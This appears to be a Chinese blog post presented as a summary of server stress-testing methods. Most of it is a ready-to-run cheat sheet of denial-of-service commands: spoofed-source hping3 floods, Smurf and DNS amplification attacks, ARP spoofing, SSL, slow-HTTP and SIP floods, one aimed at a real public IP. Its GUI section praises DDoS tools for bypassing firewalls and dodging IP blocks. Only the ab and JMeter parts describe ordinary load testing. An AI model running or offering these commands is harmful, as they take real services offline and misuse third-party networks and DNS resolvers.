常见的压力测试方式总结

0x0 前言

    平时我们也会进行一些压力测试,来确认服务器的稳定性,以保证在极多用户访问的时候,服务器依然能够运行,下面我简单介绍几种常见的压力测试方法。

0x01局域网攻击

1 hping3 攻击

SYN flood: 

hping3 -S --flood -V 192.168.2.129

hping3 -S --flood -V -p TARGET_PORT TARGET_SITE
hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood --rand-source TARGET_SITE

UDP Flood:

hping3 -S -U --flood -V --rand-source 192.168.2.130

hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP

TCP FIN Flood:

hping3 --flood --rand-source -F -p TARGET_PORT TARGET_IP

TCP RST Flood:

hping3 --flood --rand-source -R -p TARGET_PORT TARGET_IP

PUSH and ACK Flood:

hping3 --flood --rand-source -PA -p TARGET_PORT TARGET_IP

ICMP and IGMP Floods:

hping3 --flood --rand-source -1 -p TARGET_PORT TARGET_IP

Smurf Attack:

hping3 --icmp --spoof TARGET_IP BROADCAST_IP

DNS Amplification:

收集当前网段的DNS服务器:./tsunami -o recursive_dns.txt -l 4 -e 172.0.0.0/8

攻击目标IP:./tsunami -s TARGET_IP -n pentest.blog -p 3 -f recursive_dns.txt

netstress.fullrandom -d TARGET_DNS_SERVER -a dns -t a -n 4 -P 53


参考链接:https://pentest.blog/how-to-perform-ddos-test-as-a-pentester/


2 arpspoof攻击

ifconfig

fping -asg 10.10.167.0/24                    #得出局域网结构
arpspoof -i eth0 -t 10.10.167.129 10.10.167.127

0x02 互联网压测

1thc-ssl-dos ssl加密压测

 root@kali:~# thc-ssl-dos -l 1000 --accept 103.235.46.39:443

2 T50 交换路由协议攻击

root@kali:~# t50 --flood 192.168.2.127

# 备注这个压力测试能过针对各种路由协议协议,也可以进行TCP/UDP协议进行攻击,由于篇幅有限,这里只是简单点一下这些功能。希望同学们能够对对于其中的参数和协议进行多谢的探索,多折腾。

3 inviteflood 防洪攻击

root@kali:~# inviteflood eth0 5000 example.local 192.168.1.5 1000

4 siege 用户攻击

root@kali:/# leafpad /root/batchaccess#新建文件,写入下面的语句
siege -i -c 300 -r 10 -t 2M -b -v -f /root/blog.txt
root@kali:/# crontab -u root /root/batchaccess 

root@kali:/# leafpad /var/log/siege.log 
root@kali:/# cat /var/log/syslog |grep "siege" 

5 slow HTTP DoS 攻击

root@kali:~# slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://192.168.1.202/index.php -x 24 -p 3

root@kali:~# nmap -T5 -v --max-parallelism 600000 --script http-slowloris 192.168.1.202#使用nmap 的脚本扫描功能。

root@kali:~# python hulk.py -site http://TARGET.com/test/

root@kali:~# ./slowloris.pl -dns TARGET_URL -port 80 -num 200 -timeout 30

root@kali:~# mz -A rand -B TARGET_DNS_SERVER -t dns "q=pentest.blog" -c 10000000


6 ab  ---apache bench

① 无需登录
cd  C:\apache\Apache24\bin
ab -n 100 -c 10 http://test.com/

② 需要登录
如果只用到一个Cookie,那么只需键入命令:
ab -n 100 -C key=value http://test.com/
如果需要多个Cookie,就直接设Header:
ab -n 100 -H “Cookie: Key1=Value1; Key2=Value2” http://test.com/


0x03友好界面的压测

1 蓝天CC攻击器(2.0)

        总得来说,这款工具对于小网站,小带宽来说,还是挺有代表性的,其中可以绕过防火墙和耗尽主机资源这些功能还是不错。其本质是不断发送请求,并且忽略服务器的回应,导致服务器保持大量的半连接或者连接处于等待状态的连接,导致主机分配多大的资源处理这些请求。

常见的压力测试方式总结_第1张图片


2 HttpDdos2.0

    这个属于HTTP连接请求攻击,本质就是不断模拟浏览器发送请求而不响应请求,此外它能够导入IP进行随机IP碰撞,这个对于避免IP封锁很有帮助。并且还有random X-forwarded-for、random clients-ip、ip-proxy等非常实用的功能。

常见的压力测试方式总结_第2张图片 

3 LOIC

        低轨道离子炮(LOIC)是一个开源的网站压力测试和抗拒绝服务测试工具,由C#语言开发。最初LOIC由Praetox科技开发,目前由开源社区维护。LOIC可以通过TCP或UDP洪水的方式形成拒绝服务攻击(DoS),因而可能打断业务正常运行,安全和测试人员在做评估网站压力测试时,请谨慎使用

常见的压力测试方式总结_第3张图片


4 JMeter

     Apache JMeter可用于测试静态和动态的资源、Web动态应用程序的性能。它可以用于模拟产生对服务器,服务器组,网络或对象的过大负载,以测试其强度或分析不同负载类型下的整体性能。

常见的压力测试方式总结_第4张图片

0X04 总结

总的来说,命令行的测试方式往往效果好,因为在命令行模式不会有图形界面崩溃的情况,使用图形界面虽然操作方便,但是发送过大的流量往往会导致图形界面停止运行或者崩溃等等情况。使用命令行工具其实需要知道的参数也是那么几个。所以一般压力测试的时候建议使用命令行的工具。

参考链接:

https://pentest.blog/how-to-perform-ddos-test-as-a-pentester/

http://www.certbros.com/featured/osi-model-explained/

http://www.riorey.com/types-of-ddos-attacks/

https://en.wikipedia.org/wiki/SYN_flood

http://www.g-netdatacenter.com/2016/09/26/smurf-attacks/


欢迎大家分享更好的思路,热切期待^^_^^ 

你可能感兴趣的:(安全技术)